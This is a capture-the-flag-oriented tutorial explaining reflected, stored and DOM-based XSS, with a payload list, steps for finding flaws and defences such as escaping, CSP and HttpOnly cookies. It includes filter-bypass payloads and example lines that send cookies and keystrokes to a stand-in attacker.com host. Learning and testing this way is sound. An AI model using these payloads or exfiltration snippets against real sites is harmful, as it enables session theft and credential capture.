What is XSS?
Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to execute arbitrary JavaScript in a victim's browser. Despite the name, it's not an attack between sites — the name is outdated.
XSS has been in the OWASP Top 10 for over 15 years — due to how easy it is to find and how serious the consequences are.
Three Types of XSS
Reflected XSS
A malicious script is returned in the server's response within a single request. The victim must click a specially crafted link.
https://example.com/search?q=<script>alert(1)</script>
The server responds:
<p>Search results: <script>alert(1)</script></p>
Stored XSS (Persistent)
The script is stored on the server (database, log file) and executes for every visitor to the page. The most dangerous type.
Common locations: comments, profiles, chat messages, file names.
DOM-based XSS
The vulnerability is entirely client-side — JavaScript reads data from the URL or storage and inserts it into the DOM without sanitization.
// Vulnerable code
document.getElementById('output').innerHTML = location.hash.slice(1);
https://example.com/page#<img src=x onerror=alert(1)>
Useful Payloads
<!-- Basic -->
<script>alert(1)</script>
<!-- If < and > are filtered -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<!-- Bypass quotes -->
<img src=x onerror=alert`1`>
<!-- If the word "script" is filtered -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<SCRIPT>alert(1)</SCRIPT>
<!-- Encoding -->
<img src=x onerror=alert(1)>
<!-- Without spaces -->
<img/src=x/onerror=alert(1)>
<!-- Event handlers -->
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
What an Attacker Does with XSS
Cookie theft:
fetch('https://attacker.com/steal?c=' + document.cookie)
Keylogger:
document.addEventListener('keypress', e => {
fetch('https://attacker.com/key?k=' + e.key)
})
Phishing — fake login form:
document.body.innerHTML = '<form action="https://attacker.com/login">...'
XSS for CSRF — perform actions on behalf of the victim, bypassing CSRF tokens.
Finding XSS in CTF
- Find all places where user input is reflected on the page
- Try the basic
<script>alert(1)</script> - If blocked — analyze exactly what is being filtered
- Use Burp Suite to intercept and modify requests
- For Stored XSS — look for where data is stored and where it is later rendered
Defense
# Flask — automatic escaping in Jinja2
{{ user_input }} # safe — Jinja2 escapes
{{ user_input | safe }} # DANGEROUS — disables escaping
Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self'
HttpOnly cookies — protect against theft via document.cookie:
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
Tools
- Burp Suite — interception and testing
- XSStrike — automated XSS finder
- DalFox — modern XSS scanner
- Burp Collaborator — for blind XSS